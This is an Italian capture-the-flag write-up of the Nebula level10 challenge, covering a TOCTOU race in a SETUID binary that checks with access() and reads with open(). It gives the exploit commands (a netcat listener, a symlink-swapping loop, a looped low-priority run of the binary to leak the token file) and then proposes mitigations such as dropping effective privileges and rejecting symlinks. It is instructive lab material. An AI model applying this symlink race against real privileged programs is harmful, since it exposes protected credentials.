home/flag10/flag10 è inutilmente impostato SETUID per flag10. → minimo privilegio/home/flag10/flag10 utilizza funzioni di controllo (access) e accesso (open) che utilizzano privilegi diversi → Accedi alle risorse condivise in modo atomico e senza controllo preliminareNella directory /home/flag10 sono presenti due asset:
token, che probabilmente contiene informazioni sensibili (password di accesso a flag10)flag10, un binario con SETUID attivoDal codice sorgente si può notare che vengono letti due argomenti:
Successivamente viene verificato l’accesso in lettura (R_OK) al file con le credenziali di level10:
if(access(argv[1], R_OK) == 0)
La chiamata access utilizza le credenziali reali e non effettive → il bit SETUID non ci aiuta in questo senso.
Se il file è accessibile, viene inviato il contenuto a host:18211, altrimenti viene stampato un messaggio di errore. Tra il controllo di accesso e l’utilizzo però, sono presenti diverse operazioni dispendiose: è presente il pattern TOCTOU.
Debolezza: possibilità di usare un file diverso da quello controllato.
Si crea innanzitutto un server TCP in ascolto sulla porta 18211:
while :; do nc.traditional -vlp 18211 >> /tmp/server.txt; done
Si esegue netcat in un ciclo while infinito, perché di default uscirebbe dopo il servizio di una richiesta.
Le opzioni nell’ordine specificano di eseguire in modalità verbosa, in modalità di lettura, e specifica una porta su cui restare in ascolto. Si logga l’output su /tmp/server.txt.
Si crea un file vuoto di nome /tmp/token
Si associa in rapida successione e di continuo un link simbolico di nome /tmp/link ai due file /tmp/tokene /home/flag10/token
while :; do ln -fs /tmp/token /tmp/link; ln -fs /home/flag10/token /tmp/link; done
Si esegue quindi di continuo il binario flag10 con file = /tmp/link e host = 127.0.0.1. Si rallenta il processo lanciandolo con una priorità NICE bassissima:
while :; do nice -n 19 /home/flag10/flag10 /tmp/link 127.0.0.1; done
Prima o poi si verificherà la sequenza di eventi in cui il controllo viene effettuato su /tmp/token che è apribile, ma la lettura avverrà poi su /home/flag10/flag10, consentendo di leggere la password.
Filtrando i risultando di logging del server, escludendo i messaggi di errore, si otterrà il contenuto del file token:
tail -f /tmp/server.txt | grep -v '.oO Oo.'
Il binario è anche SETUID flag10, il ché lo rende effettivamente vulnerabile ad un attacco di tipo scambio di link simbolico, come quello visto prima.
Per mitigare tale debolezza si abbassa l’id effettivo all’interno del codice sorgente (non si poteva banalmente togliere il SETUID? Forse si è ipotizzato che il binario potesse averne bisogno in altri frammenti):
uid_t uid = getuid();
setresuid(-1, uid, -1);
// if(access(argv[1], R_OK) == 0) { [...] }
Anche scambiando i link simbolici, il file contenente il token non è più accessibile a level10. L’attacco non ha più effetto.
Il binario /home/flag10/flag10 controlla l’accesso al file con la funzione access che utilizza privilegi reali, mentre vi accede con la funzione open che utilizza privilegi effettivi.
Tale debolezza rende possibile l’attacco scambio di link simbolico. Per impedirlo, è possibile vietare l’uso dei link simbolici.
Si modifica il file come segue:
#include <sys/stat.h>
int main(int argc, char **argv) {
[...]
struct stat s;
if ((lstat(file, &s)) == -1) {
printf("Unable to lstat file: %s\\n", strerror(errno));
exit(EXIT_FAILURE);
}
if (S_ISLNK(s.st_mode)) {
printf("No symbolic links allowed.\\n")
exit(EXIT_FAILURE);
}
// if(access(argv[1], R_OK) == 0) { [...] }
}
L’include contiene tutte le macro per il controllo dei metadati di un file.
Il primo blocco if, oltre a riempire la struct stat s con la chiamata lstat con i metadati del file, verifica che la chiamata stessa non fallisca e nel caso fallisca esce con un messaggio di errore.
Il secondo blocco if verifica dai metadati di lstat che il file non sia un link simbolico, se lo è esce con un messaggio di errore.
In questo modo l’attacco non è più attuabile.
La mitigazione consiste nel ridurre la distanza tra i due frammenti di codice (controllo e accesso).
open() subito dopo la accessread() subito dopo la openQuesto diminuisce la probabilità di una corsa critica, che avverrà sempre più raramente. Nonostante ciò l’exploit avverrà comunque probabilmente con successo.